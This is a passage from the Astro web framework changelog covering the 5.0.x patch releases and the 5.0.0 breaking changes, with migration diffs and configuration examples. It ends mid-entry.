[`2aaed2d`](https://github.com/withastro/astro/commit/2aaed2d2a96ab35461af24e8d12b20f1da33983f) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where the middleware was incorrectly imported during the build - [#&#8203;12697](https://github.com/withastro/astro/pull/12697) [`1c4a032`](https://github.com/withastro/astro/commit/1c4a032247747c830be94dbdd0c953511a6bfa53) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fix a bug that caused builds to fail if an image had a quote mark in its name - [#&#8203;12694](https://github.com/withastro/astro/pull/12694) [`495f46b`](https://github.com/withastro/astro/commit/495f46bca78665732e51c629d93a68fa392b88a4) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where the experimental feature `experimental.svg` was incorrectly used when generating ESM images - [#&#8203;12658](https://github.com/withastro/astro/pull/12658) [`3169593`](https://github.com/withastro/astro/commit/316959355c3d59723ecb3e0f417becf1f03ddd74) Thanks [@&#8203;jurajkapsz](https://github.com/jurajkapsz)! - Fixes astro info copy to clipboard process not returning to prompt in certain cases. - [#&#8203;12712](https://github.com/withastro/astro/pull/12712) [`b01c74a`](https://github.com/withastro/astro/commit/b01c74aeccc4ec76b64fa75d163df58274b37970) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug which misidentified pages as markdown if a query string ended in a markdown extension ### [`v5.0.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#504) [Compare Source](https://github.com/withastro/astro/compare/astro@5.0.3...astro@5.0.4) ##### Patch Changes - [#&#8203;12653](https://github.com/withastro/astro/pull/12653) [`e21c7e6`](https://github.com/withastro/astro/commit/e21c7e67fde1155cf593fd2b40010c5e2c2cd3f2) Thanks [@&#8203;sarah11918](https://github.com/sarah11918)! - Updates a reference in an error message - [#&#8203;12585](https://github.com/withastro/astro/pull/12585) [`a9373c0`](https://github.com/withastro/astro/commit/a9373c0c9a3c2e1773fc11bb14e156698b0d9d38) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where `process.env` would be frozen despite changes made to environment variables in development - [#&#8203;12695](https://github.com/withastro/astro/pull/12695) [`a203d5d`](https://github.com/withastro/astro/commit/a203d5dd582166674c45e807a5dc9113e26e24f0) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Throws a more helpful error when images are missing - Updated dependencies \[[`f13417b`](https://github.com/withastro/astro/commit/f13417bfbf73130c224752379e2da33084f89554), [`87231b1`](https://github.com/withastro/astro/commit/87231b1168da66bb593f681206c42fa555dfcabc), [`a71e9b9`](https://github.com/withastro/astro/commit/a71e9b93b317edc0ded49d4d50f1b7841c8cd428)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.0.1 ### [`v5.0.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#503) [Compare Source](https://github.com/withastro/astro/compare/astro@5.0.2...astro@5.0.3) ##### Patch Changes - [#&#8203;12645](https://github.com/withastro/astro/pull/12645) [`8704c54`](https://github.com/withastro/astro/commit/8704c5439ccaa4bdcebdebb725f297cdf8d48a5d) Thanks [@&#8203;sarah11918](https://github.com/sarah11918)! - Updates some reference links in error messages for new v5 docs. - [#&#8203;12641](https://github.com/withastro/astro/pull/12641) [`48ca399`](https://github.com/withastro/astro/commit/48ca3997888e960c6aaec633ab21160540656656) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug where `astro info --copy` wasn't working correctly on `macOS` systems. - [#&#8203;12461](https://github.com/withastro/astro/pull/12461) [`62939ad`](https://github.com/withastro/astro/commit/62939add0b04b05b64f9b88d85fa5b0d34aae2d4) Thanks [@&#8203;kyr0](https://github.com/kyr0)! - Removes the misleading log message telling that a custom renderer is not recognized while it clearly is and works. - [#&#8203;12642](https://github.com/withastro/astro/pull/12642) [`ff18b9c`](https://github.com/withastro/astro/commit/ff18b9c18558dcfdae581cc1c603a9a53491c7c2) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Provides more information when logging a warning for accessing `Astro.request.headers` in prerendered pages - [#&#8203;12634](https://github.com/withastro/astro/pull/12634) [`03958d9`](https://github.com/withastro/astro/commit/03958d939217e6acef25c0aa1af2de663b04c956) Thanks [@&#8203;delucis](https://github.com/delucis)! - Improves error message formatting for user config and content collection frontmatter - [#&#8203;12547](https://github.com/withastro/astro/pull/12547) [`6b6e18d`](https://github.com/withastro/astro/commit/6b6e18d7a0f08342eced2a77ddb371810b030868) Thanks [@&#8203;mtwilliams-code](https://github.com/mtwilliams-code)! - Fixes a bug where URL search parameters weren't passed when using the i18n `fallback` feature. - [#&#8203;12449](https://github.com/withastro/astro/pull/12449) [`e6b8017`](https://github.com/withastro/astro/commit/e6b80172391d5f9aa5b1de26a8694ba4a28a43f3) Thanks [@&#8203;apatel369](https://github.com/apatel369)! - Fixes an issue where the custom `assetFileNames` configuration caused assets to be incorrectly moved to the server directory instead of the client directory, resulting in 404 errors when accessed from the client side. - [#&#8203;12518](https://github.com/withastro/astro/pull/12518) [`e216250`](https://github.com/withastro/astro/commit/e216250146fbff746efd542612ce9bae6db9601f) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where SSR error pages would return duplicated custom headers. - [#&#8203;12625](https://github.com/withastro/astro/pull/12625) [`74bfad0`](https://github.com/withastro/astro/commit/74bfad07afe70fec40de4db3d32a87af306406db) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the `experimental.svg` had incorrect type, resulting in some errors in the editors. - [#&#8203;12631](https://github.com/withastro/astro/pull/12631) [`dec0305`](https://github.com/withastro/astro/commit/dec0305b7577b431637a129e19fbbe6a28469587) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug where the class attribute was rendered twice on the image component - [#&#8203;12623](https://github.com/withastro/astro/pull/12623) [`0e4fecb`](https://github.com/withastro/astro/commit/0e4fecbb135915a503b9ea2c12e57cf27cf07be8) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Correctly handles images in content collections with uppercase file extensions - [#&#8203;12633](https://github.com/withastro/astro/pull/12633) [`8a551c1`](https://github.com/withastro/astro/commit/8a551c1272a22ab7c3fb836d6685a0eb38c33071) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Cleans up content layer sync during builds and programmatic `sync()` calls - [#&#8203;12640](https://github.com/withastro/astro/pull/12640) [`22e405a`](https://github.com/withastro/astro/commit/22e405a04491aba47a7f172e7b0ee103fe5babe5) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused content collections to be returned empty when run in a test environment - [#&#8203;12613](https://github.com/withastro/astro/pull/12613) [`306c9f9`](https://github.com/withastro/astro/commit/306c9f9a9ae08d194ca2a066ab71cde02eeb0874) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix use of cloned requests in middleware with clientAddress When using `context.clientAddress` or `Astro.clientAddress` Astro looks up the address in a hidden property. Cloning a request can cause this hidden property to be lost. The fix is to pass the address as an internal property instead, decoupling it from the request. ### [`v5.0.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#502) [Compare Source](https://github.com/withastro/astro/compare/astro@5.0.1...astro@5.0.2) ##### Patch Changes - [#&#8203;12601](https://github.com/withastro/astro/pull/12601) [`0724929`](https://github.com/withastro/astro/commit/072492982b338e04549ee576ca7d8480be92cc1c) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Includes "undefined" in types for getEntry ### [`v5.0.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#501) [Compare Source](https://github.com/withastro/astro/compare/astro@5.0.0...astro@5.0.1) ##### Patch Changes - [#&#8203;12590](https://github.com/withastro/astro/pull/12590) [`92c269b`](https://github.com/withastro/astro/commit/92c269b0f0177cb54540ce03507de81370d67c50) Thanks [@&#8203;kidonng](https://github.com/kidonng)! - fix: devtools warnings about dev toolbar form fields ### [`v5.0.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#500) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.19...astro@5.0.0) ##### Major Changes - [#&#8203;11798](https://github.com/withastro/astro/pull/11798) [`e9e2139`](https://github.com/withastro/astro/commit/e9e2139bf788893566f5a3fe58daf1d24076f018) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Unflag globalRoutePriority The previously experimental feature `globalRoutePriority` is now the default in Astro 5. This was a refactoring of route prioritization in Astro, making it so that injected routes, file-based routes, and redirects are all prioritized using the same logic. This feature has been enabled for all Starlight projects since it was added and should not affect most users. - [#&#8203;11864](https://github.com/withastro/astro/pull/11864) [`ee38b3a`](https://github.com/withastro/astro/commit/ee38b3a94697fe883ce8300eff9f001470b8adb6) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - ### \[changed]: `entryPoint` type inside the hook `astro:build:ssr` In Astro v4.x, the `entryPoint` type was `RouteData`. Astro v5.0 the `entryPoint` type is `IntegrationRouteData`, which contains a subset of the `RouteData` type. The fields `isIndex` and `fallbackRoutes` were removed. ##### What should I do? Update your adapter to change the type of `entryPoint` from `RouteData` to `IntegrationRouteData`. ```diff -import type {RouteData} from 'astro'; +import type {IntegrationRouteData} from "astro" -function useRoute(route: RouteData) { +function useRoute(route: IntegrationRouteData) { } ``` - [#&#8203;12524](https://github.com/withastro/astro/pull/12524) [`9f44019`](https://github.com/withastro/astro/commit/9f440196dc39f36fce0198bf4c97131160e5bcc1) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Bumps Vite to ^6.0.1 and handles its breaking changes - [#&#8203;10742](https://github.com/withastro/astro/pull/10742) [`b6fbdaa`](https://github.com/withastro/astro/commit/b6fbdaa94a9ecec706a99e1938fbf5cd028c72e0) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - The lowest version of Node supported by Astro is now Node v18.17.1 and higher. - [#&#8203;11916](https://github.com/withastro/astro/pull/11916) [`46ea29f`](https://github.com/withastro/astro/commit/46ea29f91df83ea638ecbc544ce99375538636d4) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Updates how the `build.client` and `build.server` option values get resolved to match existing documentation. With this fix, the option values will now correctly resolve relative to the `outDir` option. So if `outDir` is set to `./dist/nested/`, then by default: - `build.client` will resolve to `<root>/dist/nested/client/` - `build.server` will resolve to `<root>/dist/nested/server/` Previously the values were incorrectly resolved: - `build.client` was resolved to `<root>/dist/nested/dist/client/` - `build.server` was resolved to `<root>/dist/nested/dist/server/` If you were relying on the previous build paths, make sure that your project code is updated to the new build paths. - [#&#8203;11982](https://github.com/withastro/astro/pull/11982) [`d84e444`](https://github.com/withastro/astro/commit/d84e444fd3496c1f787b3fcee2929c92bc74e0cd) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds a default exclude and include value to the tsconfig presets. `{projectDir}/dist` is now excluded by default, and `{projectDir}/.astro/types.d.ts` and `{projectDir}/**/*` are included by default. Both of these options can be overridden by setting your own values to the corresponding settings in your `tsconfig.json` file. - [#&#8203;11861](https://github.com/withastro/astro/pull/11861) [`3ab3b4e`](https://github.com/withastro/astro/commit/3ab3b4efbcdd2aabea5f949deedf51a5acefae59) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Cleans up Astro-specific metadata attached to `vfile.data` in Remark and Rehype plugins. Previously, the metadata was attached in different locations with inconsistent names. The metadata is now renamed as below: - `vfile.data.__astroHeadings` -> `vfile.data.astro.headings` - `vfile.data.imagePaths` -> `vfile.data.astro.imagePaths` The types of `imagePaths` has also been updated from `Set<string>` to `string[]`. The `vfile.data.astro.frontmatter` metadata is left unchanged. While we don't consider these APIs public, they can be accessed by Remark and Rehype plugins that want to re-use Astro's metadata. If you are using these APIs, make sure to access them in the new locations. - [#&#8203;11987](https://github.com/withastro/astro/pull/11987) [`bf90a53`](https://github.com/withastro/astro/commit/bf90a5343f9cd1bb46f30e4b331e7ae675f5e720) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - The `locals` object can no longer be overridden Middleware, API endpoints, and pages can no longer override the `locals` object in its entirety. You can still append values onto the object, but you cannot replace the entire object and delete its existing values. If you were previously overwriting like so: ```js ctx.locals = { one: 1, two: 2, }; ``` This can be changed to an assignment on the existing object instead: ```js Object.assign(ctx.locals, { one: 1, two: 2, }); ``` - [#&#8203;11908](https://github.com/withastro/astro/pull/11908) [`518433e`](https://github.com/withastro/astro/commit/518433e433fe69ee3bbbb1f069181cd9eb69ec9a) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - The `image.endpoint` config now allow customizing the route of the image endpoint in addition to the entrypoint. This can be useful in niche situations where the default route `/_image` conflicts with an existing route or your local server setup. ```js import { defineConfig } from 'astro/config'; defineConfig({ image: { endpoint: { route: '/image', entrypoint: './src/image_endpoint.ts', }, }, }); ``` - [#&#8203;12008](https://github.com/withastro/astro/pull/12008) [`5608338`](https://github.com/withastro/astro/commit/560833843c6d3ce2b6c6c473ec4ae70e744bf255) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Welcome to the Astro 5 beta! This release has no changes from the latest alpha of this package, but it does bring us one step closer to the final, stable release. Starting from this release, no breaking changes will be introduced unless absolutely necessary. To learn how to upgrade, check out the [Astro v5.0 upgrade guide in our beta docs site](https://5-0-0-beta.docs.astro.build/en/guides/upgrade-to/v5/). - [#&#8203;11679](https://github.com/withastro/astro/pull/11679) [`ea71b90`](https://github.com/withastro/astro/commit/ea71b90c9c08ddd1d3397c78e2e273fb799f7dbd) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - The `astro:env` feature introduced behind a flag in [v4.10.0](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#x4100) is no longer experimental and is available for general use. If you have been waiting for stabilization before using `astro:env`, you can now do so. This feature lets you configure a type-safe schema for your environment variables, and indicate whether they should be available on the server or the client. To configure a schema, add the `env` option to your Astro config and define your client and server variables. If you were previously using this feature, please remove the experimental flag from your Astro config and move your entire `env` configuration unchanged to a top-level option. ```js import { defineConfig, envField } from 'astro/config'; export default defineConfig({ env: { schema: { API_URL: envField.string({ context: 'client', access: 'public', optional: true }), PORT: envField.number({ context: 'server', access: 'public', default: 4321 }), API_SECRET: envField.string({ context: 'server', access: 'secret' }), }, }, }); ``` You can import and use your defined variables from the appropriate `/client` or `/server` module: ```astro --- import { API_URL } from 'astro:env/client'; import { API_SECRET_TOKEN } from 'astro:env/server'; const data = await fetch(`${API_URL}/users`, { method: 'GET', headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${API_SECRET_TOKEN}`, }, }); --- <script> import { API_URL } from 'astro:env/client'; fetch(`${API_URL}/ping`); </script> ``` Please see our [guide to using environment variables](https://docs.astro.build/en/guides/environment-variables/#astroenv) for more about this feature. - [#&#8203;11806](https://github.com/withastro/astro/pull/11806) [`f7f2338`](https://github.com/withastro/astro/commit/f7f2338c2b96975001b5c782f458710e9cc46d74) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Removes the `assets` property on `supportedAstroFeatures` for adapters, as it did not reflect reality properly in many cases. Now, relating to assets, only a single `sharpImageService` property is available, determining if the adapter is compatible with the built-in sharp image service. - [#&#8203;11864](https://github.com/withastro/astro/pull/11864) [`ee38b3a`](https://github.com/withastro/astro/commit/ee38b3a94697fe883ce8300eff9f001470b8adb6) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - ### \[changed]: `routes` type inside the hook `astro:build:done` In Astro v4.x, the `routes` type was `RouteData`. Astro v5.0 the `routes` type is `IntegrationRouteData`, which contains a subset of the `RouteData` type. The fields `isIndex` and `fallbackRoutes` were removed. ##### What should I do? Update your adapter to change the type of `routes` from `RouteData` to `IntegrationRouteData`. ```diff -import type {RouteData} from 'astro'; +import type {IntegrationRouteData} from "astro" -function useRoute(route: RouteData) { +function useRoute(route: IntegrationRouteData) { } ``` - [#&#8203;11941](https://github.com/withastro/astro/pull/11941) [`b6a5f39`](https://github.com/withastro/astro/commit/b6a5f39846581d0e9cfd7ae6f056c8d1209f71bd) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Merges the `output: 'hybrid'` and `output: 'static'` configurations into one single configuration (now called `'static'`) that works the same way as the previous `hybrid` option. It is no longer necessary to specify `output: 'hybrid'` in your Astro config to use server-rendered pages. The new `output: 'static'` has this capability included. Astro will now automatically provide the ability to opt out of prerendering in your static site with no change to your `output` configuration required. Any page route or endpoint can include `export const prerender = false` to be server-rendered, while the rest of your site is statically-generated. If your project used hybrid rendering, you must now remove the `output: 'hybrid'` option from your Astro config as it no longer exists. However, no other changes to your project are required, and you should have no breaking changes. The previous `'hybrid'` behavior is now the default, under a new name `'static'`. If you were using the `output: 'static'` (default) option, you can continue to use it as before. By default, all of your pages will continue to be prerendered and you will have a completely static site. You should have no breaking changes to your project. ```diff import { defineConfig } from "astro/config"; export default defineConfig({ - output: 'hybrid', }); ``` An adapter is still required to deploy an Astro project with any server-rendered pages. Failure to include an adapter will result in a warning in development and an error at build time. - [#&#8203;11788](https://github.com/withastro/astro/pull/11788) [`7c0ccfc`](https://github.com/withastro/astro/commit/7c0ccfc26947b178584e3476584bcaa490c6ba86) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Updates the default value of `security.checkOrigin` to `true`, which enables Cross-Site Request Forgery (CSRF) protection by default for pages rendered on demand. If you had previously configured `security.checkOrigin: true`, you no longer need this set in your Astro config. This is now the default and it is safe to remove. To disable this behavior and opt out of automatically checking that the “origin” header matches the URL sent by each request, you must explicitly set `security.checkOrigin: false`: ```diff export default defineConfig({ + security: { + checkOrigin: false + } }) ``` - [#&#8203;11825](https://github.com/withastro/astro/pull/11825) [`560ef15`](https://github.com/withastro/astro/commit/560ef15ad23bd137b56ef1048eb2df548b99fdce) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Updates internal Shiki rehype plugin to highlight code blocks as hast (using Shiki's `codeToHast()` API). This allows a more direct Markdown and MDX processing, and improves the performance when building the project, but may cause issues with existing Shiki transformers. If you are using Shiki transformers passed to `markdown.shikiConfig.transformers`, you must make sure they do not use the `postprocess` hook as it no longer runs on code blocks in `.md` and `.mdx` files. (See [the Shiki documentation on transformer hooks](https://shiki.style/guide/transformers#transformer-hooks) for more information). Code blocks in `.mdoc` files and `<Code />` component do not use the internal Shiki rehype plugin and are unaffected. - [#&#8203;11826](https://github.com/withastro/astro/pull/11826) [`7315050`](https://github.com/withastro/astro/commit/7315050fc1192fa72ae92aef92b920f63b46118f) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Deprecate Astro.glob The `Astro.glob` function has been deprecated in favor of Content Collections and `import.meta.glob`. - If you want to query for markdown and MDX in your project, use Content Collections. - If you want to query source files in your project, use `import.meta.glob`(<https://vitejs.dev/guide/features.html#glob-import>). Also consider using glob packages from npm, like [fast-glob](https://www.npmjs.com/package/fast-glob), especially if statically generating your site, as it is faster for most use-cases. The easiest path is to migrate to `import.meta.glob` like so: ```diff - const posts = Astro.glob('./posts/*.md'); + const posts = Object.values(import.meta.glob('./posts/*.md', { eager: true })); ``` - [#&#8203;12268](https://github.com/withastro/astro/pull/12268) [`4e9a3ac`](https://github.com/withastro/astro/commit/4e9a3ac0bd30b4013ac0b2caf068552258dfe6d9) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - The command `astro add vercel` now updates the configuration file differently, and adds `@astrojs/vercel` as module to import. This is a breaking change because it requires the version `8.*` of `@astrojs/vercel`. - [#&#8203;11741](https://github.com/withastro/astro/pull/11741) [`6617491`](https://github.com/withastro/astro/commit/6617491c3bc2bde87f7867d7dec2580781852cfc) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Removes internal JSX handling and moves the responsibility to the `@astrojs/mdx` package directly. The following exports are also now removed: - `astro/jsx/babel.js` - `astro/jsx/component.js` - `astro/jsx/index.js` - `astro/jsx/renderer.js` - `astro/jsx/server.js` - `astro/jsx/transform-options.js` If your project includes `.mdx` files, you must upgrade `@astrojs/mdx` to the latest version so that it doesn't rely on these entrypoints to handle your JSX. - [#&#8203;11782](https://github.com/withastro/astro/pull/11782) [`9a2aaa0`](https://github.com/withastro/astro/commit/9a2aaa01ea427df3844bce8595207809a8d2cb94) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Makes the `compiledContent` property of Markdown content an async function, this change should fix underlying issues where sometimes when using a custom image service and images inside Markdown, Node would exit suddenly without any error message. ```diff --- import * as myPost from "../post.md"; - const content = myPost.compiledContent(); + const content = await myPost.compiledContent(); --- <Fragment set:html={content} /> ``` - [#&#8203;11819](https://github.com/withastro/astro/pull/11819) [`2bdde80`](https://github.com/withastro/astro/commit/2bdde80cd3107d875e2d77e6e9621001e0e8b38a) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Updates the Astro config loading flow to ignore processing locally-linked dependencies with Vite (e.g. `npm link`, in a monorepo, etc). Instead, they will be normally imported by the Node.js runtime the same way as other dependencies from `node_modules`. Previously, Astro would process locally-linked dependencies which were able to use Vite features like TypeScript when imported by the Astro config file. However, this caused confusion as integration authors may test against a package that worked locally, but not when published. This method also restricts using CJS-only dependencies because Vite requires the code to be ESM. Therefore, Astro's behaviour is now changed to ignore processing any type of dependencies by Vite. In most cases, make sure your locally-linked dependencies are built to JS before running the Astro project, and the config loading should work as before. - [#&#8203;11827](https://github.com/withastro/astro/pull/11827) [`a83e362`](https://github.com/withastro/astro/commit/a83e362ee41174501a433c210a24696784d7368f) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Prevent usage of `astro:content` in the client Usage of `astro:content` in the client has always been discouraged because it leads to all of your content winding up in your client bundle, and can possibly leaks secrets. This formally makes doing so impossible, adding to the previous warning with errors. In the future Astro might add APIs for client-usage based on needs. - [#&#8203;11979](https://github.com/withastro/astro/pull/11979) [`423dfc1`](https://github.com/withastro/astro/commit/423dfc19ad83661b71151f8cec40701c7ced557b) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Bumps `vite` dependency to v6.0.0-beta.2. The version is pinned and will be updated as new Vite versions publish to prevent unhandled breaking changes. For the full list of Vite-specific changes, see [its changelog](https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md). - [#&#8203;11859](https://github.com/withastro/astro/pull/11859) [`3804711`](https://github.com/withastro/astro/commit/38047119ff454e80cddd115bff53e33b32cd9930) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Changes the default `tsconfig.json` with better defaults, and makes `src/env.d.ts` optional Astro's default `tsconfig.json` in starter examples has been updated to include generated types and exclude your build output. This means that `src/env.d.ts` is only necessary if you have added custom type declarations or if you're not using a `tsconfig.json` file. Additionally, running `astro sync` no longer creates, nor updates, `src/env.d.ts` as it is not required for type-checking standard Astro projects. To update your project to Astro's recommended TypeScript settings, please add the following `include` and `exclude` properties to `tsconfig.json`: ```diff { "extends": "astro/tsconfigs/base", + "include": [".astro/types.d.ts", "**/*"], + "exclude": ["dist"] } ``` - [#&#8203;11715](https://github.com/withastro/astro/pull/11715) [`d74617c`](https://github.com/withastro/astro/commit/d74617cbd3278feba05909ec83db2d73d57a153e) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Refactor the exported types from the `astro` module. There should normally be no breaking changes, but if you relied on some previously deprecated types, these might now have been fully removed. In most cases, updating your code to move away from previously deprecated APIs in previous versions of Astro should be enough to fix any issues. - [#&#8203;12551](https://github.com/withastro/astro/pull/12551) [`abf9a89`](https://github.com/withastro/astro/commit/abf9a89ac1eaec9a8934a68aeebe3c502a3b47eb) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Refactors legacy `content` and `data` collections to use the Content Layer API `glob()` loader for better performance and to support backwards compatibility. Also introduces the `legacy.collections` flag for projects that are unable to update to the new behavior immediately. :warning: **BREAKING CHANGE FOR LEGACY CONTENT COLLECTIONS** :warning: By default, collections that use the old types (`content` or `data`) and do not define a `loader` are now implemented under the hood using the Content Layer API's built-in `glob()` loader, with extra backward-compatibility handling. In order to achieve backwards compatibility with existing `content` collections, the following have been implemented: - a `glob` loader collection is defined, with patterns that match the previous handling (matches `src/content/<collection name>/**/*.md` and other content extensions depending on installed integrations, with underscore-prefixed files and folders ignored) - When used in the runtime, the entries have an ID based on the filename in the same format as legacy collections - A `slug` field is added with the same format as before - A `render()` method is added to the entry, so they can be called using `entry.render()` - `getEntryBySlug` is supported In order to achieve backwards compatibility with existing `data` collections, the following have been implemented: - a `glob` loader collection is defined, with patterns that match the previous handling (matches `src/content/<collection name>/**/*{.json,.yaml}` and other data extensions, with underscore-prefixed files and folders ignored) - Entries have an ID that is not slugified - `getDataEntryById` is supported While this backwards compatibility implementation is able to emulate most of the features of legacy collections, **there are some differences and limitations that may cause breaking changes to existing collections**: - In previous versions of Astro, collections would be generated for all folders in `src/content/`, even if they were not defined in `src/content/config.ts`. This behavior is now deprecated, and collections should always be defined in `src/content/config.ts`. For existing collections, these can just be empty declarations (e.g. `const blog = defineCollection({})`) and Astro will implicitly define your legacy collection for you in a way that is compatible with the new loading behavior. - The special `layout` field is not supported in Markdown collection entries. This property is intended only for standalone page files located in `src/pages/` and not likely to be in your collection entries. However, if you were using this property, you must now create dynamic routes that include your page styling. - Sort order of generated collections is non-deterministic and platform-dependent. This means that if you are calling `getCollection()`, the order in which entries are returned may be different than before. If you need a specific order, you should sort the collection entries yourself. - `image().refine()` is not supported. If you need to validate the properties of an image you will need to do this at runtime in your page or component. - the `key` argument of `getEntry(collection, key)` is typed as `string`, rather than having types for every entry. A new legacy configuration flag `legacy.collections` is added for users that want to keep their current legacy (content and data) collections behavior (available in Astro v2 - v4), or who are not yet ready to update their projects: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ legacy: { collections: true, }, }); ``` When set, no changes to your existing collections are necessary, and the restrictions on storing both new and old collections continue to exist: legacy collections (only) must continue to remain in `src/content/`, while new collections using a loader from the Content Layer API are forbidden in that folder. - [#&#8203;11660](https://github.com/withastro/astro/pull/11660) [`e90f559`](https://github.com/withastro/astro/commit/e90f5593d23043579611452a84b9e18ad2407ef9) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes attribute rendering for non-[boolean HTML attributes](https://developer.mozilla.org/en-US/docs/Glossary/Boolean/HTML) with boolean values to match proper attribute handling in browsers. Previously, non-boolean attributes may not have included their values when rendered to HTML. In Astro v5.0, the values are now explicitly rendered as `="true"` or `="false"` In the following `.astro` examples, only `allowfullscreen` is a boolean attribute: ```astro <!-- src/pages/index.astro --><!-- `allowfullscreen` is a boolean attribute --> <p allowfullscreen={true}></p> <p allowfullscreen={false}></p> <!-- `inherit` is *not* a boolean attribute --> <p inherit={true}></p> <p inherit={false}></p> <!-- `data-*` attributes are not boolean attributes --> <p data-light={true}></p> <p data-light={false}></p> ``` Astro v5.0 now preserves the full data attribute with its value when rendering the HTML of non-boolean attributes: ```diff <p allowfullscreen></p> <p></p> <p inherit="true"></p> - <p inherit></p> + <p inherit="false"></p> - <p data-light></p> + <p data-light="true"></p> - <p></p> + <p data-light="false"></p> ``` If you rely on attribute values, for example to locate elements or to conditionally render, update your code to match the new non-boolean attribute values: ```diff - el.getAttribute('inherit') === '' + el.getAttribute('inherit') === 'false' - el.hasAttribute('data-light') + el.dataset.light === 'true' ``` - [#&#8203;11770](https://github.com/withastro/astro/pull/11770) [`cfa6a47`](https://github.com/withastro/astro/commit/cfa6a47ac7a541f99fdad46a68d0cca6e5816cd5) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Removed support for the Squoosh image service. As the underlying library `libsquoosh` is no longer maintained, and the image service sees very little usage we have decided to remove it from Astro. Our recommendation is to use the base Sharp image service, which is more powerful, faster, and more actively maintained. ```diff - import { squooshImageService } from "astro/config"; import { defineConfig } from "astro/config"; export default defineConfig({ - image: { - service: squooshImageService() - } }); ``` If you are using this service, and cannot migrate to the base Sharp image service, a third-party extraction of the previous service is available here: <https://github.com/Princesseuh/astro-image-service-squoosh> - [#&#8203;12231](https://github.com/withastro/astro/pull/12231) [`90ae100`](https://github.com/withastro/astro/commit/90ae100cf482529828febed591172433309bc12e) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Updates the automatic `charset=utf-8` behavior for Markdown pages, where instead of responding with `charset=utf-8` in the `Content-Type` header, Astro will now automatically add the `<meta charset="utf-8">` tag instead. This behaviour only applies to Markdown pages (`.md` or similar Markdown files located within `src/pages/`) that do not use Astro's special `layout` frontmatter property. It matches the rendering behaviour of other non-content pages, and retains the minimal boilerplate needed to write with non-ASCII characters when adding individual Markdown pages to your site. If your Markdown pages use the `layout` frontmatter property, then HTML encoding will be handled by the designated layout component instead, and the `<meta charset="utf-8">` tag will not be added to your page by default. If you require `charset=utf-8` to render your page correctly, make sure that your layout components contain the `<meta charset="utf-8">` tag. You may need to add this if you have not already done so. - [#&#8203;11714](https://github.com/withastro/astro/pull/11714) [`8a53517`](https://github.com/withastro/astro/commit/8a5351737d6a14fc55f1dafad8f3b04079e81af6) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Remove support for functionPerRoute This change removes support for the `functionPerRoute` option both in Astro and `@astrojs/vercel`. This option made it so that each route got built as separate entrypoints so that they could be loaded as separate functions. The hope was that by doing this it would decrease the size of each function. However in practice routes use most of the same code, and increases in function size limitations made the potential upsides less important. Additionally there are downsides to functionPerRoute, such as hitting limits on the number of functions per project. The feature also never worked with some Astro features like i18n domains and request rewriting. Given this, the feature has been removed from Astro. - [#&#8203;11864](https://github.com/withastro/astro/pull/11864) [`ee38b3a`](https://github.com/withastro/astro/commit/ee38b3a94697fe883ce8300eff9f001470b8adb6) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - ### \[changed]: `RouteData.distURL` is now an array In Astro v4.x, `RouteData.distURL` was `undefined` or a `URL` Astro v5.0, 